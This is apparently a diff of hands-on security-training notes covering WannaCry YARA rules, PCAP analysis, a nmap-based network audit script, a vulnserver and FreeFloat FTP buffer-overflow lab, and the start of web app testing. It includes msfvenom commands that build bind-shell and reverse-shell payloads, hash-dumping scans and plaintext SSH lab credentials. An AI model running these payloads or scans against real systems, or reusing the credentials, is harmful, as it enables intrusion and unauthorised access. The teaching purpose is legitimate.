1029 | - | $s1 = "Ooops, your files have been encrypted!" wide ascii nocase |
1029 | + | mkdir -p /tmp/NetworkAudit/scan/printers/ |
1030 | - | $s2 = "Wanna Decryptor" wide ascii nocase |
1030 | + | mkdir -p /tmp/NetworkAudit/scan/mssql_databases/ |
1031 | - | $s3 = ".wcry" wide ascii nocase |
1031 | + | mkdir -p /tmp/NetworkAudit/scan/oracle_databases/ |
1032 | - | $s4 = "WANNACRY" wide ascii nocase |
1032 | + | mkdir -p /tmp/NetworkAudit/scan/mysql_databases/ |
1033 | - | $s5 = "WANACRY!" wide ascii nocase |
1033 | + | mkdir -p /tmp/NetworkAudit/scan/mongodb_databases/ |
1034 | - | $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase |
1034 | + | |
1035 | ||
1036 | - | condition: |
1036 | + | |
1037 | - | any of them |
1037 | + | # Download propecia # |
1038 | - | } |
1038 | + | |
1039 | file2="/bin/propecia" | |
1040 | if [ -f "$file2" ] | |
1041 | then | |
1042 | echo "$file is installed." | |
1043 | clear | |
1044 | else | |
1045 | echo "$file not found." | |
1046 | echo Installing propecia | |
1047 | cd /tmp | |
1048 | - | yara wannacry_1.yar wannacry.exe |
1048 | + | wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c |
1049 | gcc propecia.c -o propecia | |
1050 | cp propecia /bin | |
1051 | fi | |
1052 | ||
1053 | ###################### | |
1054 | # Find Windows Hosts # | |
1055 | ###################### | |
1056 | clear | |
1057 | echo "Scanning for windows hosts." | |
1058 | - | nano wannacry_2.yar |
1058 | + | propecia 172.31.2 445 >> /tmp/NetworkAudit/discovered_services/windows_hosts |
1059 | clear | |
1060 | echo "Done scanning for windows hosts. FTP is next." | |
1061 | - | rule wannacry_2{ |
1061 | + | |
1062 | - | meta: |
1062 | + | |
1063 | - | author = "Harold Ogden" |
1063 | + | ################## |
1064 | - | description = "WannaCry Ransomware Strings" |
1064 | + | # Find FTP Hosts # |
1065 | - | date = "2017-05-12" |
1065 | + | ################## |
1066 | - | weight = 100 |
1066 | + | echo "Scanning for hosts running FTP." |
1067 | propecia 172.31.2 21 >> /tmp/NetworkAudit/discovered_services/ftp_hosts | |
1068 | - | strings: |
1068 | + | clear |
1069 | - | $string1 = "msg/m_bulgarian.wnry" |
1069 | + | echo "Done scanning for FTP hosts. SSH is next." |
1070 | - | $string2 = "msg/m_chinese (simplified).wnry" |
1070 | + | |
1071 | - | $string3 = "msg/m_chinese (traditional).wnry" |
1071 | + | ################## |
1072 | - | $string4 = "msg/m_croatian.wnry" |
1072 | + | # Find SSH Hosts # |
1073 | - | $string5 = "msg/m_czech.wnry" |
1073 | + | ################## |
1074 | - | $string6 = "msg/m_danish.wnry" |
1074 | + | echo "Scanning for hosts running SSH." |
1075 | - | $string7 = "msg/m_dutch.wnry" |
1075 | + | propecia 172.31.2 22 >> /tmp/NetworkAudit/discovered_services/ssh_hosts |
1076 | - | $string8 = "msg/m_english.wnry" |
1076 | + | clear |
1077 | - | $string9 = "msg/m_filipino.wnry" |
1077 | + | echo "Done scanning for SSH hosts. POP3 is next." |
1078 | - | $string10 = "msg/m_finnish.wnry" |
1078 | + | |
1079 | - | $string11 = "msg/m_french.wnry" |
1079 | + | |
1080 | - | $string12 = "msg/m_german.wnry" |
1080 | + | |
1081 | - | $string13 = "msg/m_greek.wnry" |
1081 | + | # Find POP3 Hosts # |
1082 | - | $string14 = "msg/m_indonesian.wnry" |
1082 | + | |
1083 | - | $string15 = "msg/m_italian.wnry" |
1083 | + | echo "Scanning for hosts running POP3." |
1084 | - | $string16 = "msg/m_japanese.wnry" |
1084 | + | propecia 172.31.2 110 >> /tmp/NetworkAudit/discovered_services/pop3_hosts |
1085 | - | $string17 = "msg/m_korean.wnry" |
1085 | + | clear |
1086 | - | $string18 = "msg/m_latvian.wnry" |
1086 | + | echo "Done scanning for POP3 hosts. SunRPC is next." |
1087 | - | $string19 = "msg/m_norwegian.wnry" |
1087 | + | |
1088 | - | $string20 = "msg/m_polish.wnry" |
1088 | + | |
1089 | - | $string21 = "msg/m_portuguese.wnry" |
1089 | + | |
1090 | - | $string22 = "msg/m_romanian.wnry" |
1090 | + | # Find SunRPC Hosts # |
1091 | - | $string23 = "msg/m_russian.wnry" |
1091 | + | |
1092 | - | $string24 = "msg/m_slovak.wnry" |
1092 | + | echo "Scanning for hosts running SunRPC." |
1093 | - | $string25 = "msg/m_spanish.wnry" |
1093 | + | propecia 172.31.2 111 >> /tmp/NetworkAudit/discovered_services/sunrpc_hosts |
1094 | - | $string26 = "msg/m_swedish.wnry" |
1094 | + | clear |
1095 | - | $string27 = "msg/m_turkish.wnry" |
1095 | + | echo "Done scanning for SunRPC hosts. Telnet is next." |
1096 | - | $string28 = "msg/m_vietnamese.wnry" |
1096 | + | |
1097 | ||
1098 | ##################### | |
1099 | - | condition: |
1099 | + | # Find Telnet Hosts # |
1100 | - | any of ($string*) |
1100 | + | |
1101 | - | } |
1101 | + | echo "Scanning for hosts running Telnet." |
1102 | propecia 172.31.2 23 >> /tmp/NetworkAudit/discovered_services/telnet_hosts | |
1103 | clear | |
1104 | echo "Done scanning for Telnet hosts. HTTP is next." | |
1105 | ||
1106 | ||
1107 | ################### | |
1108 | # Find HTTP Hosts # | |
1109 | ################### | |
1110 | echo "Scanning for hosts running HTTP" | |
1111 | propecia 172.31.2 80 >> /tmp/NetworkAudit/discovered_services/http_hosts | |
1112 | clear | |
1113 | - | yara wannacry_2.yar wannacry.exe |
1113 | + | echo "Done scanning for HTTP hosts. HTTPS hosts are next." |
1114 | ||
1115 | ||
1116 | ################### | |
1117 | # Find HTTPS Hosts # | |
1118 | ################### | |
1119 | echo "Scanning for hosts running HTTP" | |
1120 | - | cd ~ |
1120 | + | propecia 172.31.2 443 >> /tmp/NetworkAudit/discovered_services/https_hosts |
1121 | clear | |
1122 | - | yara rules/index.yar wannacry.exe |
1122 | + | echo "Done scanning for HTTPS hosts. Databases are next." |
1123 | ||
1124 | - | cd rules/ |
1124 | + | |
1125 | ################## | |
1126 | # Find Databases # | |
1127 | ################## | |
1128 | - | cd malware/ |
1128 | + | echo "Scanning for hosts running MS SQL Server" |
1129 | propecia 172.31.2 1433 >> /tmp/NetworkAudit/discovered_services/mssql_hosts | |
1130 | - | ls | grep -i ransom |
1130 | + | clear |
1131 | ||
1132 | - | ls | grep -i rat |
1132 | + | echo "Scanning for hosts running Oracle" |
1133 | propecia 172.31.2 1521 >> /tmp/NetworkAudit/discovered_services/oracle_hosts | |
1134 | - | ls | grep -i toolkit |
1134 | + | clear |
1135 | ||
1136 | - | ls | grep -i apt |
1136 | + | echo "Scanning for hosts running Postgres" |
1137 | propecia 172.31.2 5432 >> /tmp/NetworkAudit/discovered_services/postgres_hosts | |
1138 | - | cd .. |
1138 | + | clear |
1139 | ||
1140 | - | cd capabilities/ |
1140 | + | echo "Scanning for hosts running MongoDB" |
1141 | propecia 172.31.2 27017 >> /tmp/NetworkAudit/discovered_services/mongodb_hosts | |
1142 | clear | |
1143 | ||
1144 | - | cat capabilities.yar |
1144 | + | echo "Scanning for hosts running MySQL" |
1145 | propecia 172.31.2 3306 >> /tmp/NetworkAudit/discovered_services/mysql_hosts | |
1146 | - | cd .. |
1146 | + | clear |
1147 | echo "Done doing the host discovery. Moving on to nmap'ing each host discovered. Windows hosts are first." | |
1148 | - | cd cve_rules/ |
1148 | + | |
1149 | ||
1150 | ############################### | |
1151 | # Ok, let's do the NMAP files # | |
1152 | - | cd .. |
1152 | + | |
1153 | clear | |
1154 | - | ./index_gen.sh |
1154 | + | # Windows |
1155 | for x in `cat /tmp/NetworkAudit/discovered_services/windows_hosts` ; do nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect $x > /tmp/NetworkAudit/scan/windows/$x ; done | |
1156 | - | cd .. |
1156 | + | echo "Done with Windows." |
1157 | ||
1158 | - | yara rules/index.yar wannacry.exe |
1158 | + | clear |
1159 | # FTP | |
1160 | for x in `cat /tmp/NetworkAudit/discovered_services/ftp_hosts` ; do nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor $x > /tmp/NetworkAudit/scan/ftp/$x ; done | |
1161 | echo "Done with FTP." | |
1162 | ||
1163 | clear | |
1164 | # SSH | |
1165 | - | ########################### |
1165 | + | for x in `cat /tmp/NetworkAudit/discovered_services/ssh_hosts` ; do nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos $x > /tmp/NetworkAudit/scan/ssh/$x ; done |
1166 | - | # Intro to Threat Hunting # |
1166 | + | echo "Done with SSH." |
1167 | - | ########################### |
1167 | + | |
1168 | clear | |
1169 | # SUNRPC | |
1170 | for x in `cat /tmp/NetworkAudit/discovered_services/sunrpc_hosts` ; do nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo $x > /tmp/NetworkAudit/scan/sunrpc/$x ; done | |
1171 | echo "Done with SunRPC." | |
1172 | ||
1173 | - | ################################################################## |
1173 | + | clear |
1174 | - | # Analyzing a PCAP Prads # |
1174 | + | # POP3 |
1175 | - | # Note: run as regular user # |
1175 | + | for x in `cat /tmp/NetworkAudit/discovered_services/pop3_hosts` ; do nmap -Pn -n --open -p110 --script=banner,pop3-capabilities,pop3-ntlm-info,ssl*,tls-nextprotoneg $x > /tmp/NetworkAudit/scan/pop3/$x ; done |
1176 | - | ################################################################## |
1176 | + | echo "Done with POP3." |
1177 | ||
1178 | - | ---------------------------Type this as a regular user---------------------------------- |
1178 | + | # clear |
1179 | # HTTP Fix this...maybe use https://github.com/jmortega/europython_ethical_hacking/blob/master/NmapScannerAsync.py | |
1180 | # as a good reference for what nmap nse scripts to run against port 80 and 443 | |
1181 | - | mkdir pcap_analysis/ |
1181 | + | # for x in `cat /tmp/NetworkAudit/discovered_services/http_hosts` ; do nmap -sV -O --script-args=unsafe=1 --script-args=unsafe --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" $x > /tmp/NetworkAudit/scan/http/$x ; done |
1182 | # echo "Done with HTTP." | |
1183 | - | cd pcap_analysis/ |
1183 | + | |
1184 | ||
1185 | - | mkdir prads |
1185 | + | # clear |
1186 | # HTTP Fix this...maybe use https://github.com/jmortega/europython_ethical_hacking/blob/master/NmapScannerAsync.py | |
1187 | - | cd prads |
1187 | + | # as a good reference for what nmap nse scripts to run against port 80 and 443 |
1188 | # for x in `cat /tmp/NetworkAudit/discovered_services/https_hosts` ; do nmap -sV -O --script-args=unsafe=1 --script-args=unsafe --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" $x > /tmp/NetworkAudit/scan/http/$x ; done | |
1189 | - | wget http://45.63.104.73/suspicious-time.pcap |
1189 | + | # echo "Done with HTTP." |
1190 | ||
1191 | - | prads -r suspicious-time.pcap -l prads-asset.log |
1191 | + | |
1192 | clear | |
1193 | - | cat prads-asset.log | less |
1193 | + | # SQL Servers |
1194 | for x in `cat /tmp/NetworkAudit/discovered_services/mssql_hosts` ; do -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info $x > /tmp/NetworkAudit/scan/mssql_databases/$x ; done | |
1195 | - | cat prads-asset.log | grep SYN | grep -iE 'windows|linux' |
1195 | + | echo "Done with MS SQL." |
1196 | ||
1197 | - | cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome' |
1197 | + | clear |
1198 | # Oracle Servers | |
1199 | - | cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis' |
1199 | + | # FIX THIS: needs brute force wordlists for this to run correctly |
1200 | # for x in `cat /tmp/NetworkAudit/discovered_services/oracle_hosts` ; do nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt $x >> /tmp/NetworkAudit/scan/oracle_databases/$x ; done | |
1201 | # echo "Done with Oracle." | |
1202 | ||
1203 | clear | |
1204 | # MongoDB | |
1205 | for x in `cat /tmp/NetworkAudit/discovered_services/mongodb_hosts` ; do nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info $x > /tmp/NetworkAudit/scan/mongodb_databases/$x ; done | |
1206 | - | # PCAP Analysis with ChaosReader # |
1206 | + | echo "Done with MongoDB." |
1207 | - | # Note: run as regular user # |
1207 | + | |
1208 | ||
1209 | - | ---------------------------Type this as a regular user---------------------------------- |
1209 | + | clear |
1210 | # MySQL Servers | |
1211 | for x in `cat /tmp/NetworkAudit/discovered_services/mysql_hosts` ; do nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables $x >> /tmp/NetworkAudit/scan/mysql_databases/$x ; done | |
1212 | echo "Done with MySQL." | |
1213 | - | cd pcap_analysis/ |
1213 | + | |
1214 | ||
1215 | - | mkdir chaos_reader/ |
1215 | + | # Add postgres nse scripts |
1216 | # References: | |
1217 | - | cd chaos_reader/ |
1217 | + | # https://nmap.org/nsedoc/lib/pgsql.html |
1218 | # https://nmap.org/nsedoc/scripts/pgsql-brute.html | |
1219 | - | wget http://45.63.104.73/suspicious-time.pcap |
1219 | + | # |
1220 | ||
1221 | - | wget http://45.63.104.73/chaosreader.pl |
1221 | + | echo " " |
1222 | echo " " | |
1223 | - | perl chaosreader.pl suspicious-time.pcap |
1223 | + | sleep 1 |
1224 | clear | |
1225 | - | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" |
1225 | + | echo "Done, now check your results." |
1226 | sleep 2 | |
1227 | - | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr |
1227 | + | clear |
1228 | cd /tmp/NetworkAudit/scan/ | |
1229 | ls | |
1230 | - | for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u |
1230 | + | |
1231 | ||
1232 | - | python -m SimpleHTTPServer |
1232 | + | |
1233 | - | ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page ***** |
1233 | + | |
1234 | ||
1235 | ||
1236 | Skill Level 1. Run the scanners | |
1237 | ------------------------------- | |
1238 | Nexpose | |
1239 | Qualys | |
1240 | Retina | |
1241 | Nessus known vulnerabilities | |
1242 | OpenVas | |
1243 | Foundscan | |
1244 | GFI LanGuard | |
1245 | - | # PCAP Analysis with tshark # |
1245 | + | |
1246 | - | # Note: run as regular user # |
1246 | + | |
1247 | ||
1248 | - | ---------------------------Type this as a regular user--------------------------------- |
1248 | + | |
1249 | ----------------------------------------------------------------------- | |
1250 | ||
1251 | - | mkdir pcap_analysis/ |
1251 | + | |
1252 | Linux-> dpkg -l | |
1253 | - | cd pcap_analysis/ |
1253 | + | |
1254 | ||
1255 | - | mkdir tshark |
1255 | + | |
1256 | ||
1257 | - | cd tshark |
1257 | + | |
1258 | ||
1259 | - | wget http://45.63.104.73/suspicious-time.pcap |
1259 | + | |
1260 | ||
1261 | - | tshark -i ens3 -r suspicious-time.pcap -qz io,phs |
1261 | + | |
1262 | # Quick Stack Based Buffer Overflow # | |
1263 | - | tshark -r suspicious-time.pcap -qz ip_hosts,tree |
1263 | + | |
1264 | ||
1265 | - | tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq |
1265 | + | |
1266 | http://45.63.104.73/ExploitLab.zip | |
1267 | - | tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name" |
1267 | + | |
1268 | ||
1269 | ||
1270 | - | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' |
1270 | + | |
1271 | - Extract the ExploitLab.zip file to your Desktop | |
1272 | - | whois rapidshare.com.eyu32.ru |
1272 | + | |
1273 | - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe | |
1274 | - | whois sploitme.com.cn |
1274 | + | |
1275 | - Open a new command prompt and type: | |
1276 | - | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org' |
1276 | + | |
1277 | ---------------------------Type This----------------------------------- | |
1278 | - | tshark -r suspicious-time.pcap -qz http_req,tree |
1278 | + | |
1279 | -------------------------------------------------------------------------- | |
1280 | - | tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst |
1280 | + | |
1281 | - In the new command prompt window where you ran nc type: | |
1282 | - | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g' |
1282 | + | |
1283 | ||
1284 | - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts | |
1285 | - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++ | |
1286 | ||
1287 | - Now double-click on 1-simplefuzzer.py | |
1288 | - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on. | |
1289 | ||
1290 | - | ----------- ############### # Day 3: Software Exploitation # ############### ----------- |
1290 | + | |
1291 | - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on. | |
1292 | ||
1293 | - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe | |
1294 | ||
1295 | - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py. | |
1296 | ||
1297 | - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s). | |
1298 | ||
1299 | - Now isolate the crash by restarting your debugger and running script 2-3000chars.py | |
1300 | ||
1301 | - Calculate the distance to EIP by running script 3-3000chars.py | |
1302 | - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338 | |
1303 | ||
1304 | 4-count-chars-to-EIP.py | |
1305 | - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39) | |
1306 | - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it | |
1307 | ||
1308 | 5-2006char-eip-check.py | |
1309 | - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242 | |
1310 | ||
1311 | 6-jmp-esp.py | |
1312 | - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll | |
1313 | ||
1314 | 7-first-exploit | |
1315 | - In this script we actually do the stack overflow and launch a bind shell on port 4444 | |
1316 | ||
1317 | 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host. | |
1318 | ||
1319 | ||
1320 | ------------------------------ | |
1321 | ||
1322 | ||
1323 | ||
1324 | Skill Level 3. Identify unknown vulnerabilities | |
1325 | ----------------------------------------------- | |
1326 | ||
1327 | - App Type | |
1328 | ------------ | |
1329 | Stand Alone Client Server Web App | |
1330 | ||
1331 | ***(vulnerserver.exe)*** | |
1332 | ||
1333 | ||
1334 | - Input TYpe | |
1335 | - | sudo nmap -sV 45.63.104.73 |
1335 | + | |
1336 | FIle logical network port Browser | |
1337 | Keyboard | |
1338 | Mouse | |
1339 | ||
1340 | ||
1341 | ||
1342 | ***(9999)*** | |
1343 | ||
1344 | ||
1345 | - Map & Fuzz app entry points: | |
1346 | ------------------------------ | |
1347 | - Commands ***(commands)*** | |
1348 | - Methods | |
1349 | - Verbs | |
1350 | - functions | |
1351 | - subroutines | |
1352 | - controllers | |
1353 | ||
1354 | ||
1355 | - Isolate the crash | |
1356 | ------------------- | |
1357 | App seems to reliably crash at TRUN 2100 | |
1358 | ||
1359 | ||
1360 | - Calculate the distance to EIP | |
1361 | ------------------------------- | |
1362 | Distance to EIP is 2006 | |
1363 | ||
1364 | We found that EIP was populated with the value: 396F4338 | |
1365 | 396F4338 is 8 (38), C (43), o (6F), 9 (39) so we search for 8Co9 in the non_repeating pattern | |
1366 | ||
1367 | An online tool that we can use for this is: | |
1368 | https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html | |
1369 | ||
1370 | ||
1371 | ||
1372 | - Redirect Program Execution | |
1373 | ---------------------------- | |
1374 | A 3rd party dll named essfunc.dll seems to be the best candidate for the 'JMP ESP' instruction. | |
1375 | We learned that we control EAX and ESP in script 2. | |
1376 | ||
1377 | ||
1378 | ||
1379 | ||
1380 | ||
1381 | - Implement Shellcode | |
1382 | --------------------- | |
1383 | There are only 2 things that can go wrong with shellcode: | |
1384 | - Not enough space | |
1385 | - Bad characters | |
1386 | ||
1387 | ||
1388 | ||
1389 | ####################################################### | |
1390 | # Open the following web links below as tabs # | |
1391 | # For each web link answer all of the questions below # | |
1392 | ####################################################### | |
1393 | https://www.exploit-db.com/exploits/46762 | |
1394 | https://www.exploit-db.com/exploits/46070 | |
1395 | https://www.exploit-db.com/exploits/40713 | |
1396 | https://www.exploit-db.com/exploits/46458 | |
1397 | https://www.exploit-db.com/exploits/40712 | |
1398 | https://www.exploit-db.com/exploits/40714 | |
1399 | https://www.exploit-db.com/exploits/40680 | |
1400 | https://www.exploit-db.com/exploits/40673 | |
1401 | https://www.exploit-db.com/exploits/40681 | |
1402 | https://www.exploit-db.com/exploits/37731 | |
1403 | https://www.exploit-db.com/exploits/31254 | |
1404 | https://www.exploit-db.com/exploits/31255 | |
1405 | https://www.exploit-db.com/exploits/27703 | |
1406 | https://www.exploit-db.com/exploits/27277 | |
1407 | https://www.exploit-db.com/exploits/26495 | |
1408 | https://www.exploit-db.com/exploits/24557 | |
1409 | https://www.exploit-db.com/exploits/39417 | |
1410 | https://www.exploit-db.com/exploits/23243 | |
1411 | ||
1412 | ||
1413 | ||
1414 | ############################### | |
1415 | ###################### # Class Exploit Dev Quiz Task # ###################### | |
1416 | ############################### | |
1417 | 1. Vulnerable Software Info | |
1418 | a- Product Name | |
1419 | b- Software version | |
1420 | c- Available for download | |
1421 | ||
1422 | ||
1423 | 2. Target platform | |
1424 | a- OS Name | |
1425 | b- Service pack | |
1426 | c- Language pack | |
1427 | ||
1428 | ||
1429 | 3. Exploit info | |
1430 | a- modules imported (ex: sys, re, os) | |
1431 | b- application entry point (ex: TRUN) | |
1432 | c- distance to EIP (ex: 2006) | |
1433 | d- how is code redirection done (ex: JMP ESP, JMP ESI) | |
1434 | e- number of NOPs (ex: 10 * \x90 = 10 NOPs) | |
1435 | f- length of shellcode | |
1436 | g- bad characters (ex: \x0a\x00\x0d) | |
1437 | h- is the target ip hard-coded | |
1438 | i- what does the shellcode do (ex: bind shell, reverse shell, calc) | |
1439 | j- what is the total buffer length | |
1440 | k- does the exploit do anything to ensure the buffer doesn't exceed a certain length | |
1441 | l- Is this a server side or client-side exploit | |
1442 | ||
1443 | ||
1444 | ||
1445 | ||
1446 | ||
1447 | ||
1448 | ||
1449 | ||
1450 | ######################################### | |
1451 | # FreeFloat FTP Server Exploit Analysis # | |
1452 | ######################################### | |
1453 | ||
1454 | ||
1455 | ||
1456 | Analyze the following exploit code: | |
1457 | https://www.exploit-db.com/exploits/15689/ | |
1458 | ||
1459 | 1. What is the target platform that this exploit works against? | |
1460 | 2. What is the variable name for the distance to EIP? | |
1461 | 3. What is the actual distance to EIP in bytes? | |
1462 | 4. Describe what is happening in the variable ‘junk2’ | |
1463 | ||
1464 | ||
1465 | ||
1466 | ||
1467 | Analysis of the training walk-through based on EID: 15689: | |
1468 | http://45.63.104.73/ff.zip | |
1469 | ||
1470 | ||
1471 | ||
1472 | ||
1473 | ff1.py | |
1474 | 1. What does the sys module do? | |
1475 | 2. What is sys.argv[1] and sys.argv[2]? | |
1476 | 3. What application entry point is being attacked in this script? | |
1477 | ||
1478 | ||
1479 | ||
1480 | ff2.py | |
1481 | 1. Explain what is happening in lines 18 - 20 doing. | |
1482 | 2. What is pattern_create.rb doing and where can I find it? | |
1483 | 3. Why can’t I just double click the file to run this script? | |
1484 | ||
1485 | ||
1486 | ||
1487 | ff3.py | |
1488 | 1. Explain what is happening in lines 17 - to 25? | |
1489 | 2. Explain what is happening in lines 30 - to 32? | |
1490 | 3. Why is everything below line 35 commented out? | |
1491 | ||
1492 | ||
1493 | ||
1494 | ff4.py | |
1495 | 1. Explain what is happening in lines 13 to 15. | |
1496 | 2. Explain what is happening in line 19. | |
1497 | 3. What is the total length of buff? | |
1498 | ||
1499 | ||
1500 | ||
1501 | ff5.py | |
1502 | 1. Explain what is happening in line 15. | |
1503 | 2. What is struct.pack? | |
1504 | 3. How big is the shellcode in this script? | |
1505 | ||
1506 | ||
1507 | ||
1508 | ff6.py | |
1509 | 1. What is the distance to EIP? | |
1510 | 2. How big is the shellcode in this script? | |
1511 | 3. What is the total byte length of the data being sent to this app? | |
1512 | ||
1513 | ||
1514 | ||
1515 | ||
1516 | ff7.py | |
1517 | 1. What is a tuple in python? | |
1518 | 2. How big is the shellcode in this script? | |
1519 | 3. Did your app crash in from this script? | |
1520 | ||
1521 | ||
1522 | ||
1523 | ||
1524 | ff8.py | |
1525 | 1. How big is the shellcode in this script? | |
1526 | 2. What is try/except in python? | |
1527 | 3. What is socket.SOCK_STREAM in Python? | |
1528 | ||
1529 | ||
1530 | ||
1531 | ff9.py | |
1532 | 1. What is going on in lines 19 and 20? | |
1533 | 2. What is the length of the NOPs? | |
1534 | 3. From what DLL did the address of the JMP ESP come from? | |
1535 | ||
1536 | ||
1537 | ||
1538 | ||
1539 | ff010.py | |
1540 | 1. What is going on in lines 18 - 20? | |
1541 | 2. What is going on in lines 29 - 32? | |
1542 | 3. How would a stack adjustment help this script? | |
1543 | ||
1544 | ||
1545 | ||
1546 | Now copy your working ff010.py script and rename it ff011.py. | |
1547 | ||
1548 | ||
1549 | ||
1550 | ||
1551 | Let's get some working shellcode in your new ff011.py script | |
1552 | ---------------------------------------------------- | |
1553 | Here is the information to put into putty | |
1554 | ||
1555 | Host Name: 108.61.216.188 | |
1556 | protocol: ssh | |
1557 | port: 22 | |
1558 | username: sandiego | |
1559 | password: armexploitdev123! | |
1560 | ||
1561 | ||
1562 | ||
1563 | Calc: | |
1564 | ----- | |
1565 | ||
1566 | ---------------------------Type This------------------------------------ | |
1567 | cd /home/sandiego/metasploit/ | |
1568 | ./msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -b '\x00\x0A\x0x2\x40' -f c -e x86/fsntenv_mov | |
1569 | ------------------------------------------------------------------------ | |
1570 | ||
1571 | ||
1572 | ||
1573 | ||
1574 | Bind Shell | |
1575 | ---------- | |
1576 | ||
1577 | ---------------------------Type This------------------------------------ | |
1578 | cd /home/sandiego/metasploit/ | |
1579 | ./msfvenom --list payloads | grep windows | grep bind_tcp | |
1580 | ./msfvenom -a x86 --platform windows -p windows/shell/bind_tcp LPORT=4444 -b '\x00\x09\x0a\x0d\x20\x40' -f c | |
1581 | ------------------------------------------------------------------------ | |
1582 | ||
1583 | ||
1584 | Reverse Shell | |
1585 | ------------- | |
1586 | ||
1587 | ---------------------------Type This------------------------------------ | |
1588 | cd /home/sandiego/metasploit/ | |
1589 | ./msfvenom --list payloads | grep windows | grep shell | grep reverse_tcp | |
1590 | ./msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.117.1 LPORT=4321 -b '\x00\x09\x0a\x0d\x20\x40' -f c -e x86/fsntenv_mov | |
1591 | ------------------------------------------------------------------------ | |
1592 | ||
1593 | ||
1594 | ||
1595 | ||
1596 | ########################## | |
1597 | ----------- ############### # Day 3: Web App Testing ############### ----------- | |
1598 | ########################## | |
1599 | ||
1600 | ||
1601 | ||
1602 | ################################## | |
1603 | # Basic: Web Application Testing # | |
1604 | ################################## | |
1605 | ||
1606 | Most people are going to tell you reference the OWASP Testing guide. | |
1607 | https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents | |
1608 | ||
1609 | I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website. | |
1610 | ||
1611 | ||
1612 | The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site. | |
1613 | ||
1614 | 1. Does the website talk to a DB? | |
1615 | - Look for parameter passing (ex: site.com/page.php?id=4) | |
1616 | - If yes - try SQL Injection | |
1617 | ||
1618 | 2. Can I or someone else see what I type? | |
1619 | - If yes - try XSS | |
1620 | ||
1621 | 3. Does the page reference a file? | |
1622 | - If yes - try LFI/RFI | |
1623 | ||
1624 | Let's start with some manual testing against 45.63.104.73 | |
1625 | ||
1626 | ||
1627 | ####################### | |
1628 | # Attacking PHP/MySQL # | |
1629 | ####################### | |
1630 | ||
1631 | Go to LAMP Target homepage | |
1632 | https://phpapp.infosecaddicts.com/ | |
1633 | ||
1634 | ||
1635 | ||
1636 | Clicking on the Acer Link: | |
